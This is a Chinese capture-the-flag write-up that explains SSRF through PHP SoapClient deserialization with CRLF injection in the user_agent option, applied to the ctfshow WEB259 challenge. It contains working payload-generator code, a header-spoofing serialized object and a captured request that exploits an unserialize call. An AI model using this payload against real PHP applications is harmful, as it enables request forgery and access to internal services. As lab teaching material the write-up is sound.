Soap反序列化

SoapClient 反序列化 SSRF

考点是利用  SoapClient  类反序列化 + CRLF  实现  SSRF,构造请求访问  flag.php  得到 flag
反序列化后的  SoapClient  对象在调用不存在的方法时会调用  __call,在  user_agent  中插入  CRLF  也就是  \r\n  控制  header  和  body  构造想要的请求

0x01 Soap

( 1 ) soap

SOAP : Simple Object Access Protocol简单对象访问协议

简单而言,SOAP 是连接或 Web 服务或客户端和 Web 服务之间的接口

其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式

SOAP 消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式

一条 SOAP 消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml
 version="1.0"?>
<soap:Envelope
# Envelope: 标识XML文档具有名称空间和编码详细信息
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
# Header:包含标题信息,如内容类型和字符集等
</soap:Header>

<soap:Body>
# Body:包含请求和响应信息
<soap:Fault>
# Fault:错误和状态信息
</soap:Fault>
</soap:Body>

</soap:Envelope>

( 2 ) php 拓展

在 php 中 存在 soap 拓展用于 webservice 实现框架

这个扩展实现了 6 个类。其中有三个高级的类: SoapClient、SoapServer 和 SoapFault

和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar

其中 SoapClient 可以成为我们的利用对象

在 php 官方文档中

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

简单解释一下

  1. 第一个参数 $wsdl 用于指定是否 WSDL 模式 ( null 为非 WSDL ) WSDL(Web Services Description Language)文件用于描述 SOAP 服务,包括可用的方法、参数类型和返回类型等信息
  2. 第二个参数 $options 中有一个选项为 user_agent
  3. 也就是可以自定义 User-Agent , 那么在 Header 中 Content-Type Content-Length 都可以被控制, 进而利用到 CRLF
  4. 对于 Content-Type,如果我们想要利用 CRLF 发送 post 请求,那么要求它为 application/x-www-form-urlencode
  5. 回到第一个参数 如果是 null , 在 non-WSDL 模式中,因为没有使用 WSDL,传递了一个包含服务所在位置(location)和服务 URI 的参数数组作为参数。然后像 WSDL 模式中一样调用 __soapCall() 方法,但是使用了 SoapParam 类用指定格式打包参数。返回的结果将获取 greet 方法的响应 , 简单来说就是可以自定义 URI

如果在代码审计中有反序列化点,但在代码中找不到 pop 链,可以利用 php 内置类 SoapClient __call方法 来进行反序列化

正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法 并且 由前面我们知道 反序列化的 Header 部分是可以自定义的
测试文件和监听数据包如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();

// 下面是监听的
// nc -lvvp 5555
/*
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
//这部分是自定义的:
User-Agent: choco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=my_session
Content-Length: 14

data=something
//data=something刚好14 后面是不可控部分 被Content-Length截断 且
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaab#not_exists_function"
Content-Length: 383

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaab" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_exists_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
*/

总结,unserialize + CRLF 可以生成任意 POST 请求

unserialize + __call + SoapClient + CRLF = SSRF

0x02 做个 CRLF 题目

WEB259

1
2
3
4
5
6
<?php
highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //把字符串打散为数组
array_pop($xff); //去除数组最后一个元素,返回数组的最后一个值
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
  1. 在 index.php 中 $vip->getFlag(); 调用一个不存在的函数方法 会自动调用 __call( ) 函数来发送请求
  2. 根据前面的构造代码 这里做几个更改 : token=ctfshow X-Forwarded-For: 127.0.0.1,127.0.0.1
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
echo urlencode($aaa);

$vip 序列化是这样的 这个uri属性表示的是 SOAP 服务的端点(endpoint)URL 这里因为我们把序列化后的内容 URL 编码之后采用 GET 传参 所以没有实际作用

1
2
3
4
5
6
7
8
9
10
11
O:10:"SoapClient":5:
{s:3:"uri";s:4:"aaab";
s:8:"location";
s:25:"http://127.0.0.1/flag.php";
s:15:"_stream_context";i:0;
s:11:"_user_agent";s:129:"choco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1,127.0.0.1
Content-Length: 13

token=ctfshow";s:13:"_soap_version";i:1;}
  1. 访问 …/?vip=O%3A10%3A”SoapClient”……%7D 触发 file_put_contents(‘flag.txt’,$flag);
  2. 再去访问 /flag.txt 即可